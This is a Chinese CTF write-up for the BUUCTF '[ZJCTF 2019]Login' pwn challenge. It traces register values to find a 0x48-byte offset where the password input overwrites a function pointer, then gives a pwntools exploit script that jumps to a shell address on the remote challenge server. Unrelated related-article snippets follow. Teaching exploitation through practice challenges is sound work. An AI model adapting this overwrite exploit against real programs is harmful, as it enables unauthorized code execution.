[栈溢出+参数跟踪] [ZJCTF 2019]Login

题目来源


buuctf——[ZJCTF 2019]Login

本题主要考察参数溯源的能力。
参考链接

https://zhuanlan.zhihu.com/p/570607303

题目信息

64位,ubuntu16,开了金丝雀

C++风格的代码,并且将admin登录信息写入代码中。 

溢出点不在这里,但是(**a1)();说明程序将执行参数中的内容。想要利用这里需要通过admin验证。 

对应的汇编语言,执行了[[rax]],且说明至少有两个lea指令。 给出了shell的利用点。

解题步骤


回溯rax的赋值步骤,找到可以覆盖现rax值的地址,输入正确admin信息并将shell地址写入该地址即可。

关键步骤

回溯rax
回到父函数中 进入password_checker中
password_checker与read_password中间没有修改rax的值,且同为相同父函数的子函数,rbp相同(可以自己动态调试试试),因此[rbp+var_18]相同。
fgets虽然没有溢出,但是也可以覆盖到[rbp+var_18]
相差0x48个字节,所以得到了输入密码时的偏移位置
wp
# -*- coding: utf-8 -*-
from pwn import*
from struct import pack
context.log_level='debug'
context.arch='amd64'
context.os = "linux"pc = "./login"if __name__ == '__main__':local = sys.argv[1]if local == '1':r= process(pc)elf = ELF(pc)libc = elf.libcelse:r=remote("node4.buuoj.cn",28905)elf = ELF(pc)libc = elf.libcsa = lambda s,n : r.sendafter(s,n)
sla = lambda s,n : r.sendlineafter(s,n)
sl = lambda s : r.sendline(s)
sd = lambda s : r.send(s)
rc = lambda n : r.recv(n)
ru = lambda s : r.recvuntil(s)
ti = lambda: r.interactive()
lg = lambda s: log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s, eval(s)))shell = 0x400E88
payload = (b'2jctf_pa5sw0rd').ljust(0x48,b'\x00') + p64(shell)
sla("Please enter username:",b"admin")
sla("Please enter password:",payload)ti()

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/226427.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

将本地项目上传到gitee

本文详细介绍如何将本地项目上传到gitee 1.登录gitee创建一个与本地项目名相同的仓库 2.进入本地项目所在路径,打开Git Bash 3.执行初始化命令 git init4.添加远程仓库 4.1 点击复制你的HTTPS仓库路径 4.2 执行添加远程仓库命令 git remote add origin 你的…

金山办公前端二面

1. react 和 vue的区别 还有jquery? (1) jquery 和 vue、react 的区别: vue 和 react : 数据和视图分离 以数据驱动视图,只关心数据变化 dom 操作被封装(数据驱动) jquery:依靠 do…

Sass基础知识详细讲解【附带表图】

文章目录 前言使用 SassRack / Rails / Merb插件缓存选项语法选择编码 Sass CSS扩展Sass 注释输出 Sass 脚本Sass -规则和指令Sass 控制指令和表达式 Sass 混入指令Sass 功能指令命名约定Sass 输出样式:nested:expanded:compact:compressedSass 扩展缓存存储自定义导入 后言 前…

小程序静默授权获取unionid

文章目录 导文文章重点 导文 小程序静默授权获取unionid 文章重点 用wx.login(Object object)放到app.js里面 wx.login({success (res) {console.log(123);if (res.code) {//发起网络请求// wx.request({// url: https://example.com/onLogin,// data: {// code: res.…

淘宝API接口系列:连接商户与消费者的桥梁

一、引言 淘宝,作为中国最大的电商平台之一,拥有数以亿计的注册用户和海量的商品信息。淘宝API接口作为连接商户与消费者的重要桥梁,为开发者提供了丰富的电商资源,帮助他们创新和优化业务。本文将深入探讨淘宝API接口的相关知识…

C语言——求π的近似值

#define _CRT_SECURE_NO_WARNINGS 1#include<stdio.h> #include<math.h> int main() {int s;double n,t,pi;t1;pi0;n1.0;s1;while (fabs(t)>1e-6){pipit; nn2; s-s; ts/n;}pipi*4;printf("pi%lf\n",pi);return 0; }这里是求小数点后6位——1e-6&#…

MySQL进阶知识:二

目录 视图 基本语法 视图的更新 视图的作用 存储过程 介绍 存储过程基本语法 存储过程的变量 系统变量 用户自定义变量 局部变量 存储过程的判断逻辑 存储过程的参数 存储过程中的流程控制 存储过程中的循环 while的基本语法 repeat的基本语法 loop的基本语法…

MPLS和互联网专线是什么?

MPLS专线和互联网专线是企业网络连接的常见方式。MPLS专线基于多协议标签交换&#xff08;MPLS&#xff09;该技术利用专线连接两个或多个分支机构&#xff0c;提供高质量的数据传输服务。互联网专线是基于公共知识产权基础设施的连接方式&#xff0c;成本低&#xff0c;但速度…

钉钉直播不了检查防火墙配置没有拦截应用测试直通都放行的,电脑还可以ping通直播域名,就是开始不了直播

环境: 防火墙 AF8.0.17 Win10 专业版 问题描述: 钉钉直播不了检查防火墙配置没有拦截应用测试直通都放行的,电脑还可以ping通直播域名,就是开始不了直播 钉钉直播不了 不能直播电脑电脑可以ping通直播域名 防火墙查了3个域名都没有拦截,AF测试应用直通都放行的 解…

python实现rpc的几种方式(SimpleXMLRPCServer 自带的、第三方ZeroRPC)、连接linux远程开发分布式锁、分布式id

1 python实现rpc的几种方式 1.1 SimpleXMLRPCServer 自带的 1.2 第三方ZeroRPC 2 连接linux远程开发 3 分布式锁 4 分布式id 1 python实现rpc的几种方式 # 远程过程调用-1 借助于rabbitmq,可以跨语言-2 SimpleXMLRPCServer 自带的-3 ZeroRPC-4 GRPC&#xff1a;跨语言的 htt…

Vue3-toRaw 和 markRaw 函数

Vue3-toRaw 和 markRaw 函数 toRaw(转换为原始)&#xff1a;将响应式对象转换为普通对象&#xff0c;只适用于 reactive 生成的响应式对象。markRaw(标记为原始)&#xff1a;标记某个对象&#xff0c;让这个对象永远都不具备响应式。一些集成的第三方库&#xff0c;会有大量的…

深入了解Java8新特性-日期时间API:OffsetDateTime类

阅读建议 嗨&#xff0c;伙计&#xff01;刷到这篇文章咱们就是有缘人&#xff0c;在阅读这篇文章前我有一些建议&#xff1a; 本篇文章大概24000多字&#xff0c;预计阅读时间长需要20分钟。本篇文章的实战性、理论性较强&#xff0c;是一篇质量分数较高的技术干货文章&…